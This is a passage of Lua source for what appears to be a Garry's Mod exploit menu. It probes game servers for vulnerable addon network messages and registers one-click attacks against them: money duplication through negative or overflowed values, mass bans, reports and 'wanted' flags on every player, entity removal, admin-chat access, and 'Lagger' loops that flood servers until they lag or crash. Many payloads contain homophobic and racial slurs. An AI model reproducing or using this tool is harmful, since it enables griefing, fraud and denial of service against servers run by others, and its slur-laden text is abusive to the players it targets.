8172surface.PlaySound("garrysmod/ui_click.wav")
8173ECNotify("Starting")
8174for k,v in pairs(player.GetAll()) do
8175net.Start("DL_StartReport")
8176net.SendToServer()
8177net.Start("DL_ReportPlayer")
8178net.WriteEntity(v)
8179net.WriteString("Hes being a gay faggot plz ban him")
8180net.SendToServer()
8181end
8182end )
8183end
8184
8185status = ValidNetString("sv_saveweapons")
8186if (status) then
8187ECPrint("Found Exploit: TTT Weapons Exploit [sv_saveweapons]")
8188addExploit( "203","DL Report All", "", function()
8189surface.PlaySound("garrysmod/ui_click.wav")
8190ECNotify("Starting")
8191net.Start("sv_saveweapons")
8192net.WriteString("weapon_ttt_rpg")
8193net.WriteString("weapon_ttt_rpg")
8194net.WriteString("eg")
8195net.SendToServer()
8196end )
8197end
8198
8199status = ValidNetString("SpecDM_SendLoadout")
8200if (status) then
8201ECPrint("Found Exploit: SpecDM Exploit [SpecDM_SendLoadout]")
8202addExploit( "204","SpecDM Exploit", "", function()
8203surface.PlaySound("garrysmod/ui_click.wav")
8204ECNotify("Starting")
8205net.Start("SpecDM_SendLoadout")
8206net.WriteString("eg")
8207net.WriteString("weapon_ttt_defib")
8208net.SendToServer()
8209end )
8210end
8211
8212status = ValidNetString("PowerRoundsForcePR")
8213if (status) then
8214ECPrint("Found Exploit: Power Rounds Force [PowerRoundsForcePR]")
8215addExploit( "205","Power Rounds Force", "", function()
8216surface.PlaySound("garrysmod/ui_click.wav")
8217ECNotify("Starting")
8218net.Start("PowerRoundsForcePR")
8219net.SendToServer()
8220end )
8221end
8222
8223status = ValidNetString("wyozimc_playply")
8224if (status) then
8225ECPrint("Found Exploit: Wyozimc Music Exploit [wyozimc_playply]")
8226addExploit( "206","Wyozimc Music Exploit", "", function()
8227surface.PlaySound("garrysmod/ui_click.wav")
8228ECNotify("Starting")
8229for k,v in pairs(player.GetAll()) do
8230net.Start("wyozimc_playply")
8231net.WriteEntity(v)
8232net.WriteString("https://www.youtube.com/watch?v=2fSeiKs6MYY")
8233net.SendToServer()
8234end
8235end )
8236end
8237
8238status = ValidNetString("SendSteamID")
8239if (status) then
8240ECPrint("Found Exploit: Send Mail's [SendSteamID]")
8241addExploit( "207","Send Mail's", "", function()
8242surface.PlaySound("garrysmod/ui_click.wav")
8243ECNotify("Starting")
8244for k,v in pairs(player.GetAll()) do
8245net.Start("SendSteamID")
8246net.WriteEntity(v)
8247net.WriteString("Faggot")
8248net.WriteString("Faggot")
8249net.SendToServer()
8250end
8251end )
8252end
8253
8254status = ValidNetString("JB_GiveCubics")
8255if (status) then
8256ECPrint("Found Exploit: Give Cubics All [JB_GiveCubics]")
8257addExploit( "208","Give Cubics All", "", function()
8258surface.PlaySound("garrysmod/ui_click.wav")
8259ECNotify("Starting")
8260for k,v in pairs(player.GetAll()) do
8261net.Start("JB_GiveCubics")
8262net.WriteEntity(v)
8263net.WriteInt(math.floor(dwang:GetValue()), 255)
8264net.SendToServer()
8265end
8266end )
8267end
8268
8269status = ValidNetString("JB_SelectWarden")
8270if (status) then
8271ECPrint("Found Exploit: Select Warden All [JB_SelectWarden]")
8272addExploit( "209","Select Warden All", "", function()
8273surface.PlaySound("garrysmod/ui_click.wav")
8274ECNotify("Starting")
8275for k,v in pairs(player.GetAll()) do
8276net.Start("JB_SelectWarden")
8277net.WriteEntity(v)
8278net.SendToServer()
8279end
8280end )
8281end
8282
8283status = ValidNetString("RDMReason_Explain")
8284if (status) then
8285ECPrint("Found Exploit: RDM Explain [RDMReason_Explain]")
8286addExploit( "210","RDM Explain", "", function()
8287surface.PlaySound("garrysmod/ui_click.wav")
8288ECNotify("Starting")
8289for k,v in pairs(player.GetAll()) do
8290net.Start("RDMReason_Explain")
8291net.WriteTable({id=v, reason=fgt})
8292net.SendToServer()
8293end
8294end )
8295end
8296
8297status = ValidNetString("redirectMsg")
8298if (status) then
8299ECPrint("Found Exploit: Redirect Message [redirectMsg]")
8300addExploit( "211","Redirect Message", "", function()
8301surface.PlaySound("garrysmod/ui_click.wav")
8302ECNotify("Starting")
8303net.Start("redirectMsg")
8304net.WriteString("Fuck you! YOUR ALL FAGGOTS!")
8305net.SendToServer()
8306end )
8307end
8308
8309status = ValidNetString("LB_AddBan")
8310if (status) then
8311ECPrint("Found Exploit: LB Ban [LB_AddBan]")
8312addExploit( "212","LB Ban", "", function()
8313surface.PlaySound("garrysmod/ui_click.wav")
8314ECNotify("Starting")
8315for k,v in pairs(player.GetAll()) do
8316if v != LocalPlayer() then
8317net.Start("LB_AddBan")
8318net.WriteString("STEAM_0:0:71238382")
8319net.WriteString("fgt")
8320net.SendToServer()
8321end
8322end
8323end )
8324end
8325
8326status = ValidNetString("GET_Admin_MSGS")
8327if (status) then
8328ECPrint("Found Exploit: Brass Admin Chat [GET_Admin_MSGS | OPEN_ADMIN_CHAT]")
8329addExploit( "213","Brass Admin Chat", "", function()
8330surface.PlaySound("garrysmod/ui_click.wav")
8331ECNotify("Starting")
8332net.Start("GET_Admin_MSGS")
8333net.SendToServer()
8334net.Start("OPEN_ADMIN_CHAT")
8335net.SendToServer()
8336end )
8337end
8338
8339status = ValidNetString("br_send_pm")
8340if (status) then
8341ECPrint("Found Exploit: Brass Email Send All [br_send_pm]")
8342addExploit( "214","Brass Email Send All", "", function()
8343surface.PlaySound("garrysmod/ui_click.wav")
8344ECNotify("Starting")
8345for k,v in pairs(player.GetAll()) do
8346if v != LocalPlayer() then
8347net.Start("br_send_pm")
8348net.WriteString(v)
8349net.WriteString("FGT")
8350net.WriteEntity(v)
8351net.SendToServer()
8352end
8353end
8354end )
8355end
8356
8357status = ValidNetString("LAWYER.BailFelonOut")
8358if (status) then
8359ECPrint("Found Exploit: Bail Felon Out [LAWYER.BailFelonOut]")
8360addExploit( "215","Bail Felon Out", "", function()
8361surface.PlaySound("garrysmod/ui_click.wav")
8362ECNotify("Starting")
8363net.Start("LAWYER.BailFelonOut")
8364net.WriteString("1")
8365net.WriteString("fgt")
8366net.SendToServer()
8367end )
8368end
8369
8370status = ValidNetString("LAWYER.GetBailOut")
8371if (status) then
8372ECPrint("Found Exploit: Get Bail Out [LAWYER.GetBailOut]")
8373addExploit( "216","Get Bail Out", "", function()
8374surface.PlaySound("garrysmod/ui_click.wav")
8375ECNotify("Starting")
8376net.Start("LAWYER.GetBailOut")
8377net.WriteString("Mick")
8378net.WriteString("Mick")
8379net.WriteString("1000000")
8380net.SendToServer()
8381end )
8382end
8383
8384status = ValidNetString("GrabMoney")
8385if (status) then
8386ECPrint("Found Exploit: Get Bail Out [GrabMoney]")
8387addExploit( "217","Get Bail Out", "", function()
8388surface.PlaySound("garrysmod/ui_click.wav")
8389ECNotify("Starting")
8390for k,v in pairs(ents.GetAll()) do
8391if v:GetClass() == "gold" then
8392if v:GetClass() == "silver" then
8393if v:GetClass() == "vip" then
8394if v:GetClass() == "vipgold" then
8395net.Start("GrabMoney")
8396net.WriteEntity(LocalPlayer())
8397net.SendToServer()
8398end
8399end
8400end
8401end
8402end
8403end )
8404end
8405
8406status = ValidNetString("nox_addpremadepunishment")
8407if (status) then
8408ECPrint("Found Exploit: Nox Ban [nox_addpremadepunishment]")
8409addExploit( "218","Nox Ban", "", function()
8410surface.PlaySound("garrysmod/ui_click.wav")
8411ECNotify("Starting")
8412for k,v in pairs(player.GetAll()) do
8413if v != LocalPlayer() then
8414net.Start("nox_addpremadepunishment")
8415net.WriteEntity("Sun")
8416net.WriteUInt(2, 8)
8417net.SendToServer()
8418end
8419end
8420end )
8421end
8422
8423status = ValidNetString("NET_CR_TakeStoredMoney")
8424if (status) then
8425ECPrint("Found Exploit: Steal Registry Money [NET_CR_TakeStoredMoney]")
8426addExploit( "219","Steal Registry Money", "", function()
8427surface.PlaySound("garrysmod/ui_click.wav")
8428ECNotify("Starting")
8429for k,v in pairs(ents.GetAll()) do
8430if v:GetClass() == "ss_cash_registry" then
8431net.Start('NET_CR_TakeStoredMoney')
8432net.WriteEntity("ss_cash_registry")
8433net.WriteEntity(LocalPlayer())
8434net.SendToServer()
8435end
8436end
8437end )
8438end
8439
8440status = ValidNetString("HV_AmmoBuy")
8441if (status) then
8442ECPrint("Found Exploit: HV Free Ammo [HV_AmmoBuy]")
8443addExploit( "220","HV Free Ammo", "", function()
8444surface.PlaySound("garrysmod/ui_click.wav")
8445ECNotify("Starting")
8446net.Start("HV_AmmoBuy")
8447net.WriteFloat("2")
8448net.SendToServer()
8449net.Start("HV_AmmoBuy")
8450net.WriteFloat("1")
8451net.SendToServer()
8452end )
8453end
8454
8455status = ValidNetString("hitcomplete")
8456if (status) then
8457ECPrint("Found Exploit: Super RP Hit [hitcomplete]")
8458addExploit( "221","Super RP Hit", "", function()
8459surface.PlaySound("garrysmod/ui_click.wav")
8460ECNotify("Starting")
8461for k,v in pairs(player.GetAll()) do
8462if v != LocalPlayer() then
8463net.Start("hitcomplete")
8464net.WriteEntity(v)
8465net.SendToServer()
8466end
8467end
8468end )
8469end
8470
8471status = ValidNetString("SyncRemoveAction")
8472if (status) then
8473ECPrint("Found Exploit: Remove All [SyncRemoveAction]")
8474addExploit( "222","Remove All", "", function()
8475surface.PlaySound("garrysmod/ui_click.wav")
8476ECNotify("Starting")
8477for k,v in pairs(ents.GetAll()) do
8478net.Start("SyncRemoveAction")
8479net.WriteEntity(v)
8480net.SendToServer()
8481end
8482end )
8483end
8484
8485status = ValidNetString("TMC_NET_MakePlayerWanted")
8486if (status) then
8487ECPrint("Found Exploit: Make All Wanted [TMC_NET_MakePlayerWanted]")
8488addExploit( "223","Make All Wanted", "", function()
8489surface.PlaySound("garrysmod/ui_click.wav")
8490ECNotify("Starting")
8491for k,v in pairs(player.GetAll()) do
8492net.Start("TMC_NET_MakePlayerWanted")
8493net.WriteString("bad")
8494net.WriteString("bad")
8495net.SendToServer()
8496end
8497end )
8498end
8499
8500status = ValidNetString("thiefnpc")
8501if (status) then
8502ECPrint("Found Exploit: Thief NPC [thiefnpc]")
8503addExploit( "224","Thief NPC", "", function()
8504surface.PlaySound("garrysmod/ui_click.wav")
8505ECNotify("Starting")
8506net.Start('thiefnpc')
8507net.WriteDouble(-99999999999999999)
8508net.SendToServer()
8509end )
8510end
8511
8512status = ValidNetString("TMC_NET_FirePlayer")
8513if (status) then
8514ECPrint("Found Exploit: Fire Player [TMC_NET_FirePlayer]")
8515addExploit( "225","Fire Player", "", function()
8516surface.PlaySound("garrysmod/ui_click.wav")
8517ECNotify("Starting")
8518net.Start("TMC_NET_FirePlayer")
8519net.WriteString("Paypal")
8520net.SendToServer()
8521end )
8522end
8523
8524status = ValidNetString("updateLaws")
8525if (status) then
8526ECPrint("Found Exploit: Update Laws [updateLaws]")
8527addExploit( "226","Update Laws", "", function()
8528surface.PlaySound("garrysmod/ui_click.wav")
8529ECNotify("Starting")
8530net.Start("updateLaws")
8531net.WriteString("Bitch")
8532net.SendToServer()
8533end )
8534end
8535
8536status = ValidNetString("LotteryMenu")
8537if (status) then
8538ECPrint("Found Exploit: Free Money #25 [LotteryMenu]")
8539addExploit( "227","Free Money #25", "", function()
8540surface.PlaySound("garrysmod/ui_click.wav")
8541ECNotify("Starting")
8542net.Start("LotteryMenu")
8543net.WriteEntity(LocalPlayer())
8544net.WriteInt(1000000000000000000, 16)
8545net.SendToServer()
8546end )
8547end
8548
8549status = ValidNetString("soundArrestCommit")
8550if (status) then
8551ECPrint("Found Exploit: Sound Arrest [soundArrestCommit]")
8552addExploit( "228","Sound Arrest", "", function()
8553surface.PlaySound("garrysmod/ui_click.wav")
8554ECNotify("Starting")
8555net.Start("soundArrestCommit")
8556net.WriteString("Shit")
8557net.SendToServer()
8558end )
8559end
8560
8561status = ValidNetString("hoverboardpurchase")
8562if (status) then
8563ECPrint("Found Exploit: Hover Board [hoverboardpurchase]")
8564addExploit( "229","Hover Board", "", function()
8565surface.PlaySound("garrysmod/ui_click.wav")
8566ECNotify("Starting")
8567net.Start("hoverboardpurchase")
8568net.WriteInt(8, 32)
8569net.SendToServer()
8570end )
8571end
8572
8573status = ValidNetString("SpawnProtection")
8574if (status) then
8575ECPrint("Found Exploit: Off Spawn Protection [SpawnProtection]")
8576addExploit( "230","Off Spawn Protection", "", function()
8577surface.PlaySound("garrysmod/ui_click.wav")
8578ECNotify("Starting")
8579net.Start("SpawnProtection")
8580net.WriteFloat(0)
8581net.SendToServer()
8582end )
8583end
8584
8585status = ValidNetString("NPCShop_BuyItem")
8586if (status) then
8587ECPrint("Found Exploit: NPC Shop [NPCShop_BuyItem]")
8588addExploit( "231","NPC Shop", "", function()
8589surface.PlaySound("garrysmod/ui_click.wav")
8590ECNotify("Starting")
8591net.Start("NPCShop_BuyItem")
8592net.WriteString("weapon_hack_phone")
8593net.SendToServer()
8594end )
8595end
8596
8597status = ValidNetString("CubeRiot CaptureZone Update")
8598if (status) then
8599ECPrint("Found Exploit: CubeRiot Exploit [CubeRiot CaptureZone Update]")
8600addExploit( "232","CubeRiot Exploit", "", function()
8601surface.PlaySound("garrysmod/ui_click.wav")
8602ECNotify("Starting")
8603net.Start("CubeRiot CaptureZone Update")
8604net.WriteUInt( 1, 8 )
8605net.WriteVector( "2654.989258 2254.119629 -139.968750" )
8606net.WriteVector( "2654.989258 2254.119629 -139.968750" )
8607net.SendToServer()
8608end )
8609end
8610
8611status = ValidNetString("deposit")
8612if (status) then
8613ECPrint("Found Exploit: Free Money #26 [deposit]")
8614addExploit( "233","Free Money #26", "", function()
8615surface.PlaySound("garrysmod/ui_click.wav")
8616ECNotify("Starting")
8617net.Start("deposit")
8618net.WriteString("-10000000000000000000000")
8619net.SendToServer()
8620end )
8621end
8622
8623status = ValidNetString("AcceptRequest")
8624if (status) then
8625ECPrint("Found Exploit: Call Exploit [AcceptRequest]")
8626addExploit( "234","Call Exploit", "", function()
8627surface.PlaySound("garrysmod/ui_click.wav")
8628ECNotify("Starting")
8629for k,v in pairs(player.GetAll()) do
8630net.Start("AcceptRequest")
8631net.WriteEntity(v)
8632net.SendToServer()
8633end
8634end )
8635end
8636
8637status = ValidNetString("Chess ClientWager")
8638if (status) then
8639ECPrint("Found Exploit: Chess Exploit [Chess ClientWager | Chess ClientResign]")
8640addExploit( "235","Chess Exploit", "", function()
8641surface.PlaySound("garrysmod/ui_click.wav")
8642ECNotify("Starting")
8643net.Start("Chess ClientWager")
8644net.WriteUInt( -999999999999999999999999999, 24 )
8645net.SendToServer()
8646net.Start("Chess ClientResign")
8647net.SendToServer()
8648end )
8649end
8650
8651status = ValidNetString("netOrgVoteInvite_Server")
8652if (status) then
8653ECPrint("Found Exploit: Org Invite All [netOrgVoteInvite_Server]")
8654addExploit( "236","Org Invite All", "", function()
8655surface.PlaySound("garrysmod/ui_click.wav")
8656ECNotify("Starting")
8657for k,v in pairs(player.GetAll()) do
8658net.Start("netOrgVoteInvite_Server")
8659net.WriteEntity(v)
8660net.SendToServer()
8661end
8662end )
8663end
8664
8665
8666status = ValidNetString("donatorshop_itemtobuy")
8667if (status) then
8668ECPrint("Found Exploit: Donator Box Exploit [donatorshop_itemtobuy]")
8669addExploit( "237","Donator Box Exploit", "", function()
8670surface.PlaySound("garrysmod/ui_click.wav")
8671ECNotify("Starting")
8672net.Start("donatorshop_itemtobuy")
8673net.WriteString("DonatorShopBuyTripwire")
8674net.SendToServer()
8675end )
8676end
8677
8678status = ValidNetString("AskPickupItemInv")
8679if (status) then
8680ECPrint("Found Exploit: Ask Item [AskPickupItemInv]")
8681addExploit( "238","Ask Item", "", function()
8682surface.PlaySound("garrysmod/ui_click.wav")
8683ECNotify("Starting")
8684for k,v in pairs(player.GetAll()) do
8685net.Start("AskPickupItemInv")
8686net.WriteUInt(4,16)
8687net.WriteUInt(1,16)
8688net.SendToServer()
8689end
8690end )
8691end
8692
8693status = ValidNetString("buy_bundle")
8694if (status) then
8695ECPrint("Found Exploit: Buy Bundle [buy_bundle]")
8696addExploit( "239","Buy Bundle", "", function()
8697surface.PlaySound("garrysmod/ui_click.wav")
8698ECNotify("Starting")
8699net.Start("buy_bundle")
8700net.WriteFloat(1, 16)
8701net.SendToServer()
8702end )
8703end
8704
8705status = ValidNetString("LawyerOfferBail")
8706if (status) then
8707ECPrint("Found Exploit: Lawyer Off Bail [LawyerOfferBail | AcceptBailOffer]")
8708addExploit( "240","Lawyer Off Bail", "", function()
8709surface.PlaySound("garrysmod/ui_click.wav")
8710ECNotify("Starting")
8711for k,v in pairs(player.GetAll()) do
8712net.Start("LawyerOfferBail")
8713net.WriteEntity(v)
8714net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
8715net.SendToServer()
8716net.Start("AcceptBailOffer")
8717net.WriteEntity(v)
8718net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
8719net.SendToServer()
8720end
8721end )
8722end
8723
8724status = ValidNetString("MineServer")
8725if (status) then
8726ECPrint("Found Exploit: Lagger #22 [MineServer]")
8727addExploit( "241","Lagger #22", "lags", function()
8728surface.PlaySound("garrysmod/ui_click.wav")
8729ECNotify("Starting")
8730for i = 0, 100 do
8731for k,v in pairs(player.GetAll()) do
8732net.Start("MineServer",true)
8733net.WriteString("sell")
8734net.WriteEntity(v)
8735net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
8736net.SendToServer()
8737end
8738end
8739end )
8740end
8741
8742status = ValidNetString("Gb_gasstation_BuyGas")
8743if (status) then
8744ECPrint("Found Exploit: Ukrainian gas [Gb_gasstation_BuyGas | Gb_gasstation_BuyJerrycan]")
8745addExploit( "242","Ukrainian gas", "", function()
8746surface.PlaySound("garrysmod/ui_click.wav")
8747ECNotify("Starting")
8748net.Start("Gb_gasstation_BuyGas")
8749net.SendToServer()
8750net.Start("Gb_gasstation_BuyJerrycan")
8751net.SendToServer()
8752end )
8753end
8754
8755status = ValidNetString("D3A_CreateOrg")
8756if (status) then
8757ECPrint("Found Exploit: D3A Create Org [D3A_CreateOrg]")
8758addExploit( "243","D3A Create Org", "", function()
8759surface.PlaySound("garrysmod/ui_click.wav")
8760ECNotify("Starting")
8761net.Start("D3A_CreateOrg")
8762net.WriteString('969690485273489312467812367128312312314')
8763net.WriteString('123712983712984571298712398')
8764net.WriteString("255 255 255")
8765net.SendToServer()
8766end )
8767end
8768
8769status = ValidNetString("Shop_buy")
8770if (status) then
8771ECPrint("Found Exploit: SUP Buy Armor [Shop_buy]")
8772addExploit( "244","SUP Buy Armor", "", function()
8773surface.PlaySound("garrysmod/ui_click.wav")
8774ECNotify("Starting")
8775net.Start("Shop_buy")
8776net.WriteString("Armor")
8777net.SendToServer()
8778end )
8779end
8780
8781status = ValidNetString("LawsToServer")
8782if (status) then
8783ECPrint("Found Exploit: SUP New Laws [LawsToServer]")
8784addExploit( "245","SUP New Laws", "", function()
8785surface.PlaySound("garrysmod/ui_click.wav")
8786ECNotify("Starting")
8787net.Start("LawsToServer")
8788net.WriteString("FAGGOTS")
8789net.SendToServer()
8790end )
8791end
8792
8793status = ValidNetString("D3A_Message")
8794if (status) then
8795ECPrint("Found Exploit: D3A Message [D3A_Message]")
8796addExploit( "246","D3A Message", "", function()
8797surface.PlaySound("garrysmod/ui_click.wav")
8798ECNotify("Starting")
8799local stuff = {
8800
8801}
8802net.Start("D3A_Message")
8803net.WriteString("FAGGOTS")
8804net.WriteTable(stuff)
8805net.SendToServer()
8806end )
8807end
8808
8809status = ValidNetString("misswd_accept")
8810if (status) then
8811ECPrint("Found Exploit: Misswd Accept [misswd_accept]")
8812addExploit( "247","Misswd Accept", "", function()
8813surface.PlaySound("garrysmod/ui_click.wav")
8814ECNotify("Starting")
8815for k,v in pairs(player.GetAll()) do
8816for i = 0, 100 do
8817net.Start("misswd_accept")
8818net.WriteEntity(v)
8819net.SendToServer()
8820end
8821end
8822end )
8823end
8824
8825status = ValidNetString("ScannerMenu")
8826if (status) then
8827ECPrint("Found Exploit: Scanner Exploit [ScannerMenu]")
8828addExploit( "248","Scanner Exploit", "", function()
8829surface.PlaySound("garrysmod/ui_click.wav")
8830ECNotify("Starting")
8831for k,v in pairs(player.GetAll()) do
8832net.Start("ScannerMenu")
8833net.WriteEntity(v)
8834net.WriteFloat(1)
8835net.WriteFloat(1)
8836net.SendToServer()
8837end
8838end )
8839end
8840
8841status = ValidNetString("ORG_NewOrg")
8842if (status) then
8843ECPrint("Found Exploit: New ORG [ORG_NewOrg]")
8844addExploit( "249","New ORG", "", function()
8845surface.PlaySound("garrysmod/ui_click.wav")
8846ECNotify("Starting")
8847net.Start("ORG_NewOrg")
8848net.WriteString("I FUCKING HATE YOU!")
8849net.SendToServer()
8850end )
8851end
8852
8853status = ValidNetString("ORG_VaultDonate")
8854if (status) then
8855ECPrint("Found Exploit: Free Money #27 [ORG_VaultDonate]")
8856addExploit( "250","Free Money #27", "", function()
8857surface.PlaySound("garrysmod/ui_click.wav")
8858ECNotify("Starting")
8859net.Start("ORG_VaultDonate")
8860net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
8861net.SendToServer()
8862end )
8863end
8864
8865status = ValidNetString("Selldatride")
8866if (status) then
8867ECPrint("Found Exploit: Sell Datride [Selldatride]")
8868addExploit( "251","Sell Datride", "", function()
8869surface.PlaySound("garrysmod/ui_click.wav")
8870ECNotify("Starting")
8871for k,v in pairs(player.GetAll()) do
8872net.Start("Selldatride")
8873net.WriteEntity(v)
8874net.SendToServer()
8875end
8876end )
8877end
8878
8879status = ValidNetString("passmayorexam")
8880if (status) then
8881ECPrint("Found Exploit: Passexam Exploit [passmayorexam]")
8882addExploit( "252","Passexam Exploit", "", function()
8883surface.PlaySound("garrysmod/ui_click.wav")
8884ECNotify("Starting")
8885net.Start("passmayorexam")
8886net.SendToServer()
8887end )
8888end
8889
8890status = ValidNetString("levelup_useperk")
8891if (status) then
8892ECPrint("Found Exploit: LevelUp Exploit [levelup_useperk]")
8893addExploit( "253","LevelUp Exploit", "", function()
8894surface.PlaySound("garrysmod/ui_click.wav")
8895ECNotify("Starting")
8896net.Start("levelup_useperk")
8897net.WriteInt(1, 8)
8898net.WriteInt(2, 8)
8899net.WriteInt(3, 8)
8900net.WriteInt(4, 8)
8901net.SendToServer()
8902end )
8903end
8904
8905status = ValidNetString("ZED_SpawnCar")
8906if (status) then
8907ECPrint("Found Exploit: ZED Spawn Car [ZED_SpawnCar]")
8908addExploit( "254","ZED Spawn Car", "", function()
8909surface.PlaySound("garrysmod/ui_click.wav")
8910ECNotify("Starting")
8911net.Start("ZED_SpawnCar")
8912net.WriteFloat(1)
8913net.SendToServer()
8914end )
8915end
8916
8917status = ValidNetString("DeployMask") -- 37.230.228.248:27016
8918if (status) then
8919ECPrint("Found Exploit: To wear a gas mask at all players [DeployMask]")
8920addExploit( "255","To wear a gas mask", "Exploit puts gas masks on all players, discovered by Leith", function()
8921surface.PlaySound("garrysmod/ui_click.wav")
8922ECNotify("Starting")
8923for k,v in pairs(ents.GetAll()) do
8924net.Start("DeployMask")
8925net.WriteEntity(v)
8926net.SendToServer()
8927end
8928end )
8929end
8930
8931status = ValidNetString("RemoveMask") -- 37.230.228.248:27016
8932if (status) then
8933ECPrint("Found Exploit: Remove the gas mask from all players [RemoveMask]")
8934addExploit( "256","Remove the gas mask", "The exploit takes off gas masks from all players, discovered by Leith", function()
8935surface.PlaySound("garrysmod/ui_click.wav")
8936ECNotify("Starting")
8937for k,v in pairs(ents.GetAll()) do
8938net.Start("RemoveMask")
8939net.WriteEntity(v)
8940net.SendToServer()
8941end
8942end )
8943end
8944
8945status = ValidNetString("SwapFilter") -- 37.230.228.248:27016
8946if (status) then
8947ECPrint("Found Exploit: Change all filters of a gas mask [SwapFilter]")
8948addExploit( "257","Change all filters", "Exploit changes the filter for all gas masks, discovered by Leith", function()
8949surface.PlaySound("garrysmod/ui_click.wav")
8950ECNotify("Starting")
8951for k,v in pairs(ents.GetAll()) do
8952net.Start("SwapFilter")
8953net.WriteEntity(v)
8954net.SendToServer()
8955end
8956end )
8957end
8958
8959status = ValidNetString("WipeMask") -- 37.230.228.248:27016
8960if (status) then
8961ECPrint("Found Exploit: Wipe gas masks [WipeMask]")
8962addExploit( "258","Wipe gas masks", "Exploit wipes all gas masks, discovered by Leith", function()
8963surface.PlaySound("garrysmod/ui_click.wav")
8964ECNotify("Starting")
8965for k,v in pairs(ents.GetAll()) do
8966net.Start("WipeMask")
8967net.WriteEntity(v)
8968net.SendToServer()
8969end
8970end )
8971end
8972
8973status = ValidNetString("UseMedkit") -- 37.230.228.248:27016
8974if (status) then
8975ECPrint("Found Exploit: Use Medkit [UseMedkit]")
8976addExploit( "259","Use Medkit", "Exploit uses a first aid kit on all players, discovered by Leith", function()
8977surface.PlaySound("garrysmod/ui_click.wav")
8978ECNotify("Starting")
8979for k,v in pairs(ents.GetAll()) do
8980net.Start("UseMedkit")
8981net.WriteEntity(v)
8982net.SendToServer()
8983end
8984end )
8985end
8986
8987status = ValidNetString("IDInv_RequestBank")
8988if (status) then
8989ECPrint("Found Exploit: Lagger #23 [IDInv_RequestBank]")
8990addExploit( "260","Lagger #23", "an exploit in the addon 'IDinventory', discovered by Leith", function()
8991surface.PlaySound("garrysmod/ui_click.wav")
8992ECNotify("Starting")
8993if !timer.Exists("lagger23") then
8994timer.Create("lagger23", 0, 0, function()
8995for i = 1, 1000 do
8996net.Start("IDInv_RequestBank",true)
8997net.SendToServer()
8998end
8999end )
9000end
9001end )
9002end
9003
9004status = ValidNetString("casinokit_chipexchange")
9005if (status) then
9006ECPrint("Found Exploit: Lagger #24 [casinokit_chipexchange]")
9007addExploit( "261","Lagger #24", "an exploit in the addon 'CasinoKit', discovered by Leith", function()
9008surface.PlaySound("garrysmod/ui_click.wav")
9009ECNotify("Starting")
9010if !timer.Exists("lagger24") then
9011timer.Create("lagger24", 0, 0, function()
9012for i = 1, 1000 do
9013net.Start("casinokit_chipexchange",true)
9014net.WriteEntity(LocalPlayer())
9015net.WriteString("darkrp")
9016net.WriteBool(false)
9017net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,32)
9018net.SendToServer()
9019end
9020end )
9021end
9022end )
9023end
9024
9025status = ValidNetString("RemoveTag")
9026if (status) then
9027ECPrint("Found Exploit: 1tap server [RemoveTag]")
9028addExploit( "262","1tap server", "discovered by Leith", function()
9029surface.PlaySound("garrysmod/ui_click.wav")
9030ECNotify("Starting")
9031timer.Create("1tap", 0.5, 0, function()
9032for i=1, 4000 do
9033net.Start("RemoveTag")
9034net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
9035net.SendToServer()
9036end
9037end )
9038end )
9039end
9040
9041status = ValidNetString("desktopPrinter_Withdraw")
9042if (status) then
9043ECPrint("Found Exploit: Lagger #25 [desktopPrinter_Withdraw]")
9044addExploit( "263","Lagger #25", "an exploit in the addon 'Desktop Printers', discovered by Leith", function()
9045surface.PlaySound("garrysmod/ui_click.wav")
9046ECNotify("Starting")
9047if !timer.Exists("lagger25") then
9048timer.Create("lagger25", 0, 0, function()
9049for i = 1, 1000 do
9050net.Start("desktopPrinter_Withdraw",true)
9051net.WriteEntity(LocalPlayer())
9052net.SendToServer()
9053end
9054end )
9055end
9056end )
9057end
9058
9059status = ValidNetString("sphys_dupe")
9060if (status) then
9061ECPrint("Found Exploit: Lagger #26 [sphys_dupe]")
9062addExploit( "264","Lagger #26", "an exploit in the addon 'Simfphys', discovered by Solly", function()
9063surface.PlaySound("garrysmod/ui_click.wav")
9064ECNotify("Starting")
9065timer.Create("lagger26", 0.2, 0, function()
9066for i=1,2200 do
9067net.Start("sphys_dupe",true)
9068net.SendToServer()
9069end
9070end )
9071end )
9072end
9073
9074status = ValidNetString("simfphys_gasspill")
9075if (status) then
9076ECPrint("Found Exploit: Poop on players [simfphys_gasspill]")
9077addExploit( "265","Poop on players", "an exploit in the addon 'Simfphys', discovered by Solly", function()
9078surface.PlaySound("garrysmod/ui_click.wav")
9079ECNotify("Starting")
9080timer.Create("poop", 0.1, 0, function()
9081for k,v in pairs(player.GetAll()) do
9082for j=1,3 do
9083if IsValid(v) then
9084net.Start("simfphys_gasspill")
9085net.WriteVector(v:GetPos()+Vector(0,0,90))
9086net.WriteVector(v:EyePos())
9087net.SendToServer()
9088end
9089end
9090end
9091end )
9092end )
9093end
9094
9095status = ValidNetString("dronesrewrite_controldr")
9096if (status) then
9097ECPrint("Found Exploit: Lagger #27 [dronesrewrite_controldr]")
9098addExploit( "266","Lagger #27", "discovered by Solly", function()
9099surface.PlaySound("garrysmod/ui_click.wav")
9100ECNotify("Starting")
9101timer.Create("lagger27", 0.2, 0, function()
9102for i=1,2200 do
9103net.Start("dronesrewrite_controldr",true)
9104net.SendToServer()
9105end
9106end )
9107end )
9108end
9109
9110
9111status = ValidNetString("SCP-294Sv")
9112if (status) then
9113ECPrint("Found Exploit: SCP-294 Exploit [SCP-294Sv]")
9114addExploit( "267","SCP-294 Exploit", "discovered by questionmark", function()
9115surface.PlaySound("garrysmod/ui_click.wav")
9116ECNotify("Starting")
9117for k,v in pairs(ents.GetAll()) do
9118net.Start("SCP-294Sv")
9119net.WriteString("acid")
9120net.WriteEntity(v)
9121net.SendToServer()
9122end
9123end )
9124end
9125
9126status = ValidNetString("VC_PlayerReady")
9127if (status) then
9128ECPrint("Found Exploit: Lagger #28 [VC_PlayerReady]")
9129addExploit( "268","Lagger #28", "an exploit in the addon 'VCMod', discovered by Leith", function()
9130surface.PlaySound("garrysmod/ui_click.wav")
9131ECNotify("Starting")
9132timer.Create("lagger28", 0, 0, function()
9133for i = 1, 1000 do
9134net.Start("VC_PlayerReady",true)
9135net.SendToServer()
9136end
9137end )
9138end )
9139end
9140
9141status = ValidNetString("phone")
